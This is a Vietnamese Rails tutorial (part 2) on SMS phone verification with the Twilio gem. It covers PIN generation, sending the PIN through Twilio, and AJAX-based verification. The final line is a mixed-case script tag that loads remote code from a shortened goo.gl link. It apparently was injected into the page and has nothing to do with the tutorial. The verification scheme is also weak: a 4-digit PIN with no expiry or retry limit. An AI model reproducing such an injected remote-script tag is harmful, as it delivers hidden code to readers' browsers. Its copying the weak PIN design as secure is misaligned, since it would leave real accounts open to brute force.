Dùng gem Twilio để sử dụng SMS Verify tài khoản đăng nhập bằng số điện thoại (Phần 2)

Sau khi tạo Model, View, Controller để thực hiện việc lưu mã Pin ở Phần 1. Thì ở phần cuối này chúng ta sẽ khởi tạo một mã pin và gửi nó qua SMS.

Viết method cho việc chúng ta post một số điện thoại để thực hiện việc sign_up

Đối với bước này, chúng ta cần tạo một action trong controller để thực hiện các việc sau:

  • Tạo mới một số điện thoại khi người dùng nhập vào form (hoặc tìm nó nếu đã tồn tại).
  • Khởi tại một mã PIN
  • Gửi mã PIN qua SMS

Thêm action trên vào controller phone_numbers_controller.rb:

def create
  @phone_number = PhoneNumber.find_or_create_by(
    phone_number: params[:phone_number][:phone_number])
  @phone_number.generate_pin
  @phone_number.send_pin
  respond_to do |format|
    format.js # render app/views/phone_numbers/create.js.erb
  end
end

Trong model PhoneNumber thêm method thực hiện việc khởi tạo một mã PIN gồm 4 chữ số:

def generate_pin
  self.pin = rand(0000..9999).to_s.rjust(4, "0")
  save
end

Method này được gọi sau khi một số điện thoại được tạo, sau đó tạo một mã PIN và lưu nó.

Trước khi có thể gửi mã PIN này thông qua tin nhắn SMS, chúng ta cần ba điều từ Twilio:

  • Tài khoản SID của bạn
  • Mã xác thực Token
  • Tin nhắn kích hoạt số điện thoại

Đi đến trang Twilio account dashboard để lấy SIDToken

account-sid-and-auth-token.gif

Tiếp theo chúng ta sẽ truyền biến môi trường để sử dụng Twilio

Theo hướng dẫn của gem dotenv. Tạo file .env lưu các biến môi trường sau:

export TWILIO_ACCOUNT_SID="REPLACEWITHACCOUNTSID"
export TWILIO_AUTH_TOKEN="REPLACEWITHAUTHTOKEN"
export TWILIO_PHONE_NUMBER="REPLACEWITHTWILIONUMBER"

Thêm 2 method trong model PhoneNumber để thực hiện việc send mã PIN

Tạo một Twilio REST client:

def twilio_client
  Twilio::REST::Client.new(ENV['TWILIO_ACCOUNT_SID'],
    ENV['TWILIO_AUTH_TOKEN'])
end

Thực hiện send mã PIN:

def send_pin
  twilio_client.messages.create(
    to: phone_number,
    from: ENV['TWILIO_PHONE_NUMBER'],
    body: "Your PIN is #{pin}"
  )
end

Việc cuối cùng của phần này là dùng Javascript để:

  • Add phone number vào hidden field
  • Ẩn form add số điện thoại và hiển thị form nhập mã PIN

Tạo mới file create.js.erb

touch app/views/phone_numbers/create.js.erb

Thêm đoạn code sau vào file trên

$('#hidden_phone_number').val('<%= @phone_number.phone_number %>' )
$('#send-pin').hide()
$('#verify-pin').fadeToggle()
$('#pin').focus()

Verify mã pin của số điện thoại:

Ở phần cuối này chúng ta sẽ so sánh mã PIN người dùng nhập vào so với mã PIN được khởi tạo. Nếu trùng khớp sẽ gửi message thành công và ngược lại.

Vào file controller/phone_numbers_controller.rb để viết method verify

def verify
  @phone_number = PhoneNumber.find_by(
    phone_number: params[:hidden_phone_number])
  @phone_number.verify(params[:pin])
  respond_to do |format|
    format.js
  end
end

Vào file models/phone_number.rb để viết method update status verify

def verify(entered_pin)
  update(verified: true) if self.pin == entered_pin
end

Cuối cùng, chúng ta viết một đoạn Javascript để hiện thị message trên view. Tạo file verify.js.erb

 touch app/views/phone_numbers/verify.js.erb

Trong file trên, thêm đoạn code sau để thực hiện việc hiển thị message vào status-box tương ứng với trạng thái mã PIN được xác nhận thành công hay không.

<% if @phone_number.verified %>
  $('#verify-pin').hide()
  $('#status-box').removeClass()
  $('#status-box').addClass('alert alert-success')
  $('#status-message').text('Success!!')
<% else %>
  $('#status-box').removeClass()
  $('#status-box').addClass('alert alert-warning')
  $('#status-message').text("Sorry, that wasn't the right pin.")
<% end %>
$('#status-box').fadeToggle()

Đây là kết qủa!

rails-sms-phone-verification.gif

Tham Khảo

How to build SMS Phone Verification in Rails 4 using AJAX

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>